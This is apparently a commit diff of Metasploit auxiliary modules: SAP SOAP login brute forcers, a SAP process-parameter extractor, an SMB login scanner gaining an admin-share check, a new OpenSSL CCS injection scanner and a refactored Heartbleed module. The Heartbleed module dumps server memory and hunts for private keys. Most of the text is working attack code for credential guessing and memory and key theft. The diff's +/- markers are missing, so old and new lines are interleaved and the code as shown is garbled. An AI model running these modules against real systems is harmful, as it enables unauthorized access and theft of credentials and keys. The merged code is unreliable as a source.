'uri' => normalize_uri(datastore['URI']),
'uri' => uri,
'method' => 'GET'
}, 25)
})
if not res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
print_error("#{peer} [SAP] Unable to connect")
return
end
if datastore['SAP_SID'] != ''
if !datastore['USER_FILE'].nil?
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
elsif !datastore['USERPASS_FILE'].nil?
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist")
else
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Setting default SAP wordlist")
datastore['USER_FILE'] = Msf::Config.data_directory + '/wordlists/sap_common.txt'
end
end
print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID']
each_user_pass do |user, pass|
enum_user(user,pass)
enum_user(user,pass,uri)
end
end
def enum_user(user, pass)
def enum_user(user, pass, uri)
# Replace placeholder with SAP SID, if present
if datastore['SAP_SID'] != ''
if datastore['SAP_SID']
user = user.gsub("<SAPSID>", datastore["SAP_SID"].downcase)
pass = pass.gsub("<SAPSID>", datastore["SAP_SID"])
end
print_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
print_status("#{peer} - Trying username:'#{user}' password:'#{pass}'")
success = false
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
@ -103,7 +94,7 @@ class Metasploit4 < Msf::Auxiliary
begin
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']),
'uri' => uri,
'method' => 'POST',
'data' => data,
'headers' =>
@ -113,9 +104,9 @@ class Metasploit4 < Msf::Auxiliary
'Content-Type' => 'text/xml; charset=UTF-8',
'Authorization' => 'Basic ' + user_pass
}
}, 45)
})
return if not res
return unless res
if (res.code != 500 and res.code != 200)
return
@ -136,17 +127,17 @@ class Metasploit4 < Msf::Auxiliary
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} [SAP #{rhost}] Unable to connect")
print_error("#{peer} [SAP] Unable to connect")
return
end
if success
print_good("#{rhost}:#{rport} [SAP] Successful login '#{user}' password: '#{pass}'")
print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'")
if permission
vprint_good("#{rhost}:#{rport} [SAP] Login '#{user}' authorized to perform OSExecute calls")
vprint_good("#{peer} [SAP] Login '#{user}' authorized to perform OSExecute calls")
else
vprint_error("#{rhost}:#{rport} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
end
report_auth_info(
@ -160,10 +151,9 @@ class Metasploit4 < Msf::Auxiliary
:target_host => rhost,
:target_port => rport
)
return
else
vprint_error("#{rhost}:#{rport} [SAP] failed to login as '#{user}':'#{pass}'")
return
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
end
end
end

View File

@ -30,7 +30,7 @@ class Metasploit4 < Msf::Auxiliary
register_options(
[
Opt::RPORT(50013),
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']),
OptString.new('MATCH', [false, 'Display matches e.g login/', '']),
], self.class)
register_autofilter_ports([ 50013 ])
@ -38,16 +38,6 @@ class Metasploit4 < Msf::Auxiliary
end
def run_host(ip)
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'GET'
}, 25)
if not res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
getprocparam(ip)
end
@ -75,7 +65,7 @@ class Metasploit4 < Msf::Auxiliary
begin
res = send_request_raw({
'uri' => normalize_uri(datastore['URI']),
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'data' => data,
'headers' =>
@ -84,9 +74,9 @@ class Metasploit4 < Msf::Auxiliary
'SOAPAction' => '""',
'Content-Type' => 'text/xml; charset=UTF-8',
}
}, 30)
})
if not res
unless res
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
return
end
@ -100,7 +90,7 @@ class Metasploit4 < Msf::Auxiliary
body = res.body
success = true
end
elsif res.code == 500
elsif res
case res.body
when /<faultstring>(.*)<\/faultstring>/i
faultcode = $1.strip
@ -116,16 +106,16 @@ class Metasploit4 < Msf::Auxiliary
end
if success
#Only stoor loot if MATCH is not selected
if datastore['MATCH'].empty?
print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to loot")
store_loot(
# Only store loot if MATCH is not selected
if datastore['MATCH'].blank?
loot = store_loot(
"sap.getprocessparameters",
"text/xml",
rhost,
res.body,
".xml"
)
print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to #{loot}")
else
name_match = Regexp.new(datastore['MATCH'], [Regexp::EXTENDED, 'n'])
print_status("[SAP] Regex match selected, skipping loot storage")

View File

@ -25,13 +25,10 @@ class Metasploit4 < Msf::Auxiliary
def initialize
super(
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_PING Login Brute Forcer',
'Name' => 'SAP SOAP Service RFC_PING Login Brute Forcer',
'Description' => %q{
This module attempts to brute force SAP username and passwords through the
/sap/bc/soap/rfc SOAP service, using RFC_PING function. Default clients can be
tested without needing to set a CLIENT. Common/Default user and password
combinations can be tested just setting DEFAULT_CRED variable to true. These
default combinations are stored in MSF_DATA_DIRECTORY/wordlists/sap_default.txt.
/sap/bc/soap/rfc SOAP service, using RFC_PING function.
},
'References' =>
[
@ -47,34 +44,32 @@ class Metasploit4 < Msf::Auxiliary
register_options(
[
Opt::RPORT(8000),
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true])
OptString.new('CLIENT', [true, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
OptString.new('TARGETURI', [true, 'The base path to the SOAP RFC Service', '/sap/bc/soap/rfc']),
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
File.join(Msf::Config.data_directory, "wordlists", "sap_default.txt") ])
], self.class)
end
def run_host(ip)
if datastore['CLIENT'].nil?
print_status("Using default SAP client list")
client = ['000', '001', '066']
else
client = []
def run_host(rhost)
client_list = []
if datastore['CLIENT'] =~ /^\d{3},/
client = datastore['CLIENT'].split(/,/)
client_list = datastore['CLIENT'].split(/,/)
print_status("Brute forcing clients #{datastore['CLIENT']}")
elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
array = datastore['CLIENT'].split(/-/)
client = (array.at(0)..array.at(1)).to_a
client_list = (array.at(0)..array.at(1)).to_a
print_status("Brute forcing clients #{datastore['CLIENT']}")
elsif datastore['CLIENT'] =~ /^\d{3}\z/
client.push(datastore['CLIENT'])
client_list.push(datastore['CLIENT'])
print_status("Brute forcing client #{datastore['CLIENT']}")
else
print_status("Invalid CLIENT - using default SAP client list instead")
client = ['000', '001', '066']
fail_with(Failure::BadConfig, "Invalid CLIENT")
end
end
saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] Credentials",
saptbl = Msf::Ui::Console::Table.new(
Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] #{peer} Credentials",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
@ -86,29 +81,29 @@ class Metasploit4 < Msf::Auxiliary
"user",
"pass"
])
if datastore['DEFAULT_CRED']
credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt')
credentials.each do |u, p|
client.each do |cli|
success = bruteforce(u, p, cli)
if success
saptbl << [ rhost, rport, cli, u, p]
end
end
end
end
client_list.each do |c|
print_status("#{peer} [SAP] Trying client: #{c}")
each_user_pass do |u, p|
client.each do |cli|
success = bruteforce(u, p, cli)
if success
saptbl << [ rhost, rport, cli, u, p]
vprint_status("#{peer} [SAP] Trying #{c}:#{u}:#{p}")
begin
success = bruteforce(u, p, c)
saptbl << [ rhost, rport, c, u, p] if success
rescue ::Rex::ConnectionError
print_error("#{peer} [SAP] Not responding")
return
end
end
end
print(saptbl.to_s)
if saptbl.rows.count > 0
print_line saptbl.to_s
end
end
def bruteforce(username,password,client)
uri = normalize_uri(target_uri.path)
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
@ -116,39 +111,40 @@ class Metasploit4 < Msf::Auxiliary
data << '</n1:RFC_PING>'
data << '</env:Body>'
data << '</env:Envelope>'
begin
res = send_request_cgi({
'uri' => '/sap/bc/soap/rfc',
'uri' => uri,
'method' => 'POST',
'vars_get' => {
'sap-client' => client,
'sap-language' => 'EN'
},
'data' => data,
'cookie' => "sap-usercontext=sap-language=EN&sap-client=#{client}",
'ctype' => 'text/xml; charset=UTF-8',
'authorization' => basic_auth(username, password),
'headers' => {
'headers' =>
{
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
},
'vars_get' => {
'sap-client' => client,
'sap-language' => 'EN'
}
})
if res and res.code == 200
if res && res.code == 200 && res.body.include?('RFC_PING')
print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => "sap",
:proto => "tcp",
:user => "#{username}",
:pass => "#{password}",
:user => username,
:pass => password,
:proof => "SAP Client: #{client}",
:active => true
)
return true
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
return false
end
return false
false
end
end

View File

@ -32,7 +32,9 @@ class Metasploit3 < Msf::Auxiliary
'Author' =>
[
'tebo <tebo [at] attackresearch [dot] com>', # Original
'Ben Campbell' # Refactoring
'Ben Campbell', # Refactoring
'Brandon McCann "zeknox" <bmccann [at] accuvant.com>', # admin check
'Tom Sellers <tom <at> fadedcode.net>' # admin check/bug fix
],
'References' =>
[
@ -69,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('SMBPass', [ false, "SMB Password" ]),
OptString.new('SMBUser', [ false, "SMB Username" ]),
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
OptBool.new('CHECK_ADMIN', [ false, "Check for Admin rights", false]),
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true]),
OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false])
], self.class)
@ -124,6 +127,25 @@ class Metasploit3 < Msf::Auxiliary
# Windows SMB will return an error code during Session Setup, but nix Samba requires a Tree Connect:
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
status_code = 'STATUS_SUCCESS'
if datastore['CHECK_ADMIN']
status_code = :not_admin
# Drop the existing connection to IPC$ in order to connect to admin$
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
begin
simple.connect("\\\\#{datastore['RHOST']}\\admin$")
status_code = :admin_access
simple.disconnect("\\\\#{datastore['RHOST']}\\admin$")
rescue
status_code = :not_admin
ensure
begin
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
rescue ::Rex::Proto::SMB::Exceptions::NoReply
end
end
end
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
status_code = e.get_error(e.error_code)
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
@ -187,7 +209,16 @@ class Metasploit3 < Msf::Auxiliary
end
def valid_credentials?(status)
return (status == "STATUS_SUCCESS" || @correct_credentials_status_codes.include?(status))
case status
when 'STATUS_SUCCESS', :admin_access, :not_admin
return true
when *@correct_credentials_status_codes
return true
else
return false
end
end
def try_user_pass(domain, user, pass)
@ -214,7 +245,7 @@ class Metasploit3 < Msf::Auxiliary
output_message << " (#{smb_peer_os}) #{user} : #{pass} [#{status}]".gsub('%', '%%')
case status
when 'STATUS_SUCCESS'
when 'STATUS_SUCCESS', :admin_access, :not_admin
# Auth user indicates if the login was as a guest or not
if(simple.client.auth_user)
print_good(output_message % "SUCCESSFUL LOGIN")
@ -275,7 +306,7 @@ class Metasploit3 < Msf::Auxiliary
def report_creds(domain,user,pass,active)
login_name = ""
if accepts_bogus_domains?(user,pass,rhost)
if accepts_bogus_domains?(user,pass,rhost) || domain.blank?
login_name = user
else
login_name = "#{domain}\\#{user}"

View File

@ -0,0 +1,207 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
CIPHER_SUITES = [
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005, # TLS_RSA_WITH_RC4_128_SHA
0x0004, # TLS_RSA_WITH_RC4_128_MD5
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff # Unknown
]
HANDSHAKE_RECORD_TYPE = 0x16
CCS_RECORD_TYPE = 0x14
ALERT_RECORD_TYPE = 0x15
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
'1.1' => 0x0302,
'1.2' => 0x0303
}
def initialize
super(
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
'Description' => %q{
This module checks for the OpenSSL ChageCipherSpec (CCS)
Injection vulnerability. The problem exists in the handling of early
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts
them, while later implementations do not. If successful, an attacker can leverage this
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
between a client and server. This issue was first reported in early June, 2014.
},
'Author' => [
'Masashi Kikuchi', # Vulnerability discovery
'Craig Young <CYoung[at]tripwire.com>', # Original Scanner. This module is based on it.
'juan vazquez' # Msf module
],
'References' =>
[
['CVE', '2014-0224'],
['URL', 'http://ccsinjection.lepidum.co.jp/'],
['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'],
['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'],
['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html']
],
'DisclosureDate' => 'Jun 5 2014',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def response_timeout
datastore['RESPONSE_TIMEOUT']
end
def run_host(ip)
ccs_injection
end
def ccs_injection
connect_result = establish_connect
return if connect_result.nil?
vprint_status("#{peer} - Sending CCS...")
sock.put(ccs)
alert = sock.get_once(-1, response_timeout)
if alert.blank?
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable")
report
elsif alert.unpack("C").first == ALERT_RECORD_TYPE
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")
elsif alert
vprint_warning("#{peer} - Unexpected response.")
end
end
def report
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully detected CCS injection"
})
end
def ccs
payload = "\x01" # Change Cipher Spec Message
ssl_record(CCS_RECORD_TYPE, payload)
end
def client_hello
# Use current day for TLS time
time_temp = Time.now
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
hello_data << [time_epoch].pack("N") # Time in epoch format
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null
data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data
ssl_record(HANDSHAKE_RECORD_TYPE, data)
end
def ssl_record(type, data)
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
record << data
end
def establish_connect
connect
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
disconnect
return nil
end
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
true
end
end

View File

@ -3,6 +3,12 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests.
# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300
# but there were too many errors
# TODO: Parse the rest of the server responses and return a hash with the data
# TODO: Extract the relevant functions and include them in the framework
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
@ -68,6 +74,12 @@ class Metasploit3 < Msf::Auxiliary
HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = {
'SSLv3' => 0x0300,
'1.0' => 0x0301,
@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
Opt::RPORT(443),
OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]),
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]),
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
@ -155,6 +167,15 @@ class Metasploit3 < Msf::Auxiliary
end
def peer
"#{rhost}:#{rport}"
end
#
# Main methods
#
# Called when using check
def check_host(ip)
@check_only = true
vprint_status "#{peer} - Checking for Heartbleed exposure"
@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary
end
end
# Main method
def run
if heartbeat_length > 65535 || heartbeat_length < 0
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')
return
end
if response_timeout < 0
print_error("RESPONSE_TIMEOUT should be bigger than 0")
print_error('RESPONSE_TIMEOUT should be bigger than 0')
return
end
super
end
# Main method
def run_host(ip)
# initial connect to get public key and stuff
connect_result = establish_connect
disconnect
return if connect_result.nil?
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
end
# ensure all connections are closed
disconnect
end
#
# DATASTORE values
#
# If this is merely a check, set to the RFC-defined
# maximum padding length of 2^14. See:
# https://tools.ietf.org/html/rfc6520#section-4
@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary
if @check_only
SAFE_CHECK_MAX_RECORD_LENGTH
else
datastore["HEARTBEAT_LENGTH"]
datastore['HEARTBEAT_LENGTH']
end
end
def peer
"#{rhost}:#{rport}"
end
def response_timeout
datastore['RESPONSE_TIMEOUT']
end
def tls_version
datastore['TLS_VERSION']
end
def dumpfilter
datastore['DUMPFILTER']
end
def max_keytries
datastore['MAX_KEYTRIES']
end
def xmpp_domain
datastore['XMPPDOMAIN']
end
def status_every
datastore['STATUS_EVERY']
end
def tls_callback
datastore['TLS_CALLBACK']
end
#
# TLS Callbacks
#
def tls_smtp
# https://tools.ietf.org/html/rfc3207
sock.get_once(-1, response_timeout)
get_data
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_imap
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
sock.get_once(-1, response_timeout)
get_data
end
def tls_postgres
# postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3
# http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html
sock.get_once
get_data
# the postgres SSLRequest packet is a int32(8) followed by a int16(1234),
# int16(5679) in network format
psql_sslrequest = [8].pack('N')
psql_sslrequest << [1234, 5679].pack('n*')
sock.put(psql_sslrequest)
res = sock.get_once
res = get_data
unless res && res =~ /S/
return nil
end
@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary
def tls_pop3
# http://tools.ietf.org/html/rfc2595
sock.get_once(-1, response_timeout)
get_data
sock.put("CAPA\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/ || res !~ /STLS/
return nil
end
sock.put("STLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
if res.nil? || res =~ /^-/
return nil
end
@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary
end
def tls_jabber
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
sock.put(jabber_connect_msg(xmpp_domain))
res = sock.get(response_timeout)
if res && res.include?('host-unknown')
jabber_host = res.match(/ from='([\w.]*)' /)
if jabber_host && jabber_host[1]
disconnect
connect
establish_connect
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
sock.put(jabber_connect_msg(jabber_host[1]))
res = sock.get(response_timeout)
@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
res = sock.get(response_timeout)
return nil if res.nil?
sock.put("AUTH TLS\r\n")
res = sock.get_once(-1, response_timeout)
res = get_data
return nil if res.nil?
if res !~ /^234/
# res contains the error message
@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary
res
end
def run_host(ip)
case action.name
when 'SCAN'
loot_and_report(bleed)
when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS'
getkeys()
else
#Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}")
return
#
# Helper Methods
#
# Get data from the socket
# this ensures the requested length is read (if available)
def get_data(length = -1)
return sock.get_once(-1, response_timeout) if length == -1
to_receive = length
data = ''
while to_receive > 0
temp = sock.get_once(to_receive, response_timeout)
break if temp.nil?
data << temp
to_receive -= temp.length
end
data
end
def to_hex_string(data)
data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip
end
# establishes a connect and parses the server response
def establish_connect
connect
unless tls_callback == 'None'
vprint_status("#{peer} - Trying to start SSL via #{tls_callback}")
res = self.send(TLS_CALLBACKS[tls_callback])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return nil
end
end
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
return nil
end
server_resp_parsed = parse_ssl_record(server_hello)
if server_resp_parsed.nil?
vprint_error("#{peer} - Server Hello Not Found")
return nil
end
server_resp_parsed
end
# Generates a heartbeat request
def heartbeat_request(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << [length].pack('n') # Payload Length: 65535
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end
# Generates, sends and receives a heartbeat message
def bleed
# This actually performs the heartbleed portion
connect_result = establish_connect
return if connect_result.nil?
vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5, response_timeout)
if hdr.blank?
sock.put(heartbeat_request(heartbeat_length))
hdr = get_data(5)
if hdr.nil? || hdr.empty?
vprint_error("#{peer} - No Heartbeat response...")
disconnect
return
end
@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary
# try to get the TLS error
if type == ALERT_RECORD_TYPE
res = sock.get_once(len, response_timeout)
res = get_data(len)
alert_unp = res.unpack('CC')
alert_level = alert_unp[0]
alert_desc = alert_unp[1]
msg = "Unknown error"
# http://tools.ietf.org/html/rfc5246#section-7.2
case alert_desc
when 0x46
msg = "Protocol error. Looks like the chosen protocol is not supported."
msg = 'Protocol error. Looks like the chosen protocol is not supported.'
else
msg = 'Unknown error'
end
vprint_error("#{peer} - #{msg}")
disconnect
return
end
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response")
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]
vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})")
disconnect
return
end
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
heartbeat_data = get_data(heartbeat_length)
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
disconnect
heartbeat_data
end
# Stores received data
def loot_and_report(heartbeat_data)
unless heartbeat_data
@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary
})
if action.name == 'DUMP' # Check mode, dump if requested.
pattern = datastore['DUMPFILTER']
pattern = dumpfilter
if pattern
match_data = heartbeat_data.scan(pattern).join
else
match_data = heartbeat_data
end
path = store_loot(
"openssl.heartbleed.server",
"application/octet-stream",
'openssl.heartbleed.server',
'application/octet-stream',
rhost,
match_data,
nil,
"OpenSSL Heartbleed server memory"
'OpenSSL Heartbleed server memory'
)
print_status("#{peer} - Heartbeat data stored in #{path}")
end
@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary
end
def getkeys()
unless datastore['TLS_CALLBACK'] == 'None'
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
return
end
#
# Keydumoing helper methods
#
# Tries to retreive the private key
def getkeys
print_status("#{peer} - Scanning for private keys")
count = 0
@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary
